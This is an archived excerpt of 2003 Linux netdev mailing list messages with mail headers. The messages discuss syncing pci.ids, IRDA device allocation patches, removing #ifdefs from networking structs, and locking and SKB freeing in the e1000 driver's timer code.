netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greg@kroah.com Precedence: bulk X-list: netdev On Fri, Sep 12, 2003 at 09:07:17PM +0200, Xose Vazquez Perez wrote: > Jeff Garzik wrote: > > > The general idea is to keep 2.4, 2.6, and pciids.sf.net in sync. > > is there sync between 2.4, 2.6, and pciids.sf.net ? ;-) > > Linus and Marcelo should not accept patches against pci.ids, > all updates should go to pciids.sf.net. And every X time > to do a sync with 2.4 and 2.6. I'd love to see a volunteer to try to sync these files up and routinely send updates to the pci maintainers of the different kernel trees. Anyone? I also agree with David, it's completly acceptable for drivers to add their ids to this file when they are added to the kernel tree. thanks, greg k-h From lists@mdiehl.de Tue Sep 30 17:03:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 17:04:16 -0700 (PDT) Received: from bart.webpack.hosteurope.de (bart.one-2-one.net [217.115.142.76]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h9103gFx002623 for ; Tue, 30 Sep 2003 17:03:43 -0700 Received: from notebook.home.mdiehl.de (pD9E94DCA.dip0.t-ipconnect.de [217.233.77.202]) (authenticated) by bart.webpack.hosteurope.de (8.11.6/8.11.6) with ESMTP id h8UNNoX20087; Wed, 1 Oct 2003 01:23:50 +0200 Received: from notebook.home.mdiehl.de (localhost.localdomain [127.0.0.1]) by notebook.home.mdiehl.de (8.12.1/8.12.1) with ESMTP id h8UNPaLt005958; Wed, 1 Oct 2003 01:25:36 +0200 Received: from localhost (martin@localhost) by notebook.home.mdiehl.de (8.12.1/8.12.1/Submit) with ESMTP id h8UNPZEj005955; Wed, 1 Oct 2003 01:25:35 +0200 X-Authentication-Warning: notebook.home.mdiehl.de: martin owned process doing -bs Date: Wed, 1 Oct 2003 01:25:34 +0200 (CEST) From: Martin Diehl X-X-Sender: martin@notebook.home.mdiehl.de To: Jean Tourrilhes cc: Stephen Hemminger , "David S. Miller" , , Subject: Re: [irda-users] Re: [PATCH] (0/16) intro to IRDA patches for 2.6.0-test6 In-Reply-To: <20030930230049.GA22339@bougret.hpl.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 419 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lists@mdiehl.de Precedence: bulk X-list: netdev On Tue, 30 Sep 2003, Jean Tourrilhes wrote: > On Tue, Sep 30, 2003 at 03:25:30PM -0700, Stephen Hemminger wrote: > > These patches are a replacement for the moderate one chunk I sent out yesterday. > > They continue in the same vein of revising how IRDA devices are allocated. > > The new thing is the introduction of alloc_irdadev and changing over the places > > I used alloc_netdev to that. > > > > Mostly they are trivial, but smsc-ircc2 got changed to get rid of check_region > > usage as well. > > > > David, please apply after Jean gives his approval. > > The self destruct patch is absolutely needed, and I like very > much the alloc_irdadev work. > Please go ahead, I'll test them in parallel. > Thanks ! I hadn't yet time for testing but since you were asking: I do also like the alloc_irdadev/free_netdev approach and the sir_dev part looks good to me, i.e. no leaking there. Thanks Stephen! Martin From davem@pizda.ninka.net Tue Sep 30 23:43:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 23:44:10 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h916hZFx027125 for ; Tue, 30 Sep 2003 23:43:35 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA05251; Tue, 30 Sep 2003 23:39:25 -0700 Date: Tue, 30 Sep 2003 23:39:25 -0700 From: "David S. Miller" To: Arnaldo Carvalho de Melo Cc: bunk@fs.tum.de, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030930233925.022f3194.davem@redhat.com> In-Reply-To: <20030930150430.GA2996@conectiva.com.br> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <20030929221129.7689e088.davem@redhat.com> <20030930133729.GJ295@fs.tum.de> <20030930150430.GA2996@conectiva.com.br> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 420 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 12:04:31 -0300 Arnaldo Carvalho de Melo wrote: > And just for the record, as a matter of taste I'd like to see all #ifdefs in > structs to disappear, look at what I did to struct sock in 2.5 and look at > struct sock (include/net/sock.h) in 2.4: no #ifdefs where there was a ton, I totally agree with this. It would make the structs that actually get used smaller in fact. From davem@pizda.ninka.net Tue Sep 30 23:55:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 23:55:54 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h916tHFx028155 for ; Tue, 30 Sep 2003 23:55:17 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA05319; Tue, 30 Sep 2003 23:51:17 -0700 Date: Tue, 30 Sep 2003 23:51:17 -0700 From: "David S. Miller" To: "Feldman, Scott" Cc: jgarzik@pobox.com, akpm@osdl.org, netdev@oss.sgi.com, cramerj@intel.com Subject: Re: Fw: Badness in local_bh_enable at kernel/softirq.c:119 Message-Id: <20030930235117.2346c711.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 421 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 10:27:08 -0700 "Feldman, Scott" wrote: > At this point, I'm leaning towards removing the offending code in the > timer callback now, and taking a step back to solve the bigger problem, > either with a better locking scheme, or a new plan on how to flush the > "stuck" work. We don't need kernel panics when you trip over the > Ethernet cable! Sound like a plan? Why do you even need to use IRQ locking here? Your e1000 netdev->hard_start_xmit method doesn't need to do anything special, why does this timer code? I suppose you need to synchronize with e1000_clean_tx_irq() in the non-NAPI case right? If so, that's not being accomplished by what your code is doing. If nobody else takes that xmit_lock in an IRQ disabling manner, the e1000 timer code doing so doesn't make any difference. I have an idea for attacking the problem, once you figure out what kind of locking you really need. Do whatever you need to do to synchronize on the hardware side, but instead of directly freeing the SKB, add each one to a list. A pointer to the head of this list is stored on the stack of the timer routine, and passed down into the TX purger. Then at the top level you can drop all your locks, re-enable hw IRQs and whatever else you need to do, then pass the SKBs in the list off to dev_kfree_skb_irq() (this is the appropriate routine to call to free an SKB from a timer handler, which runs in soft interrupt context).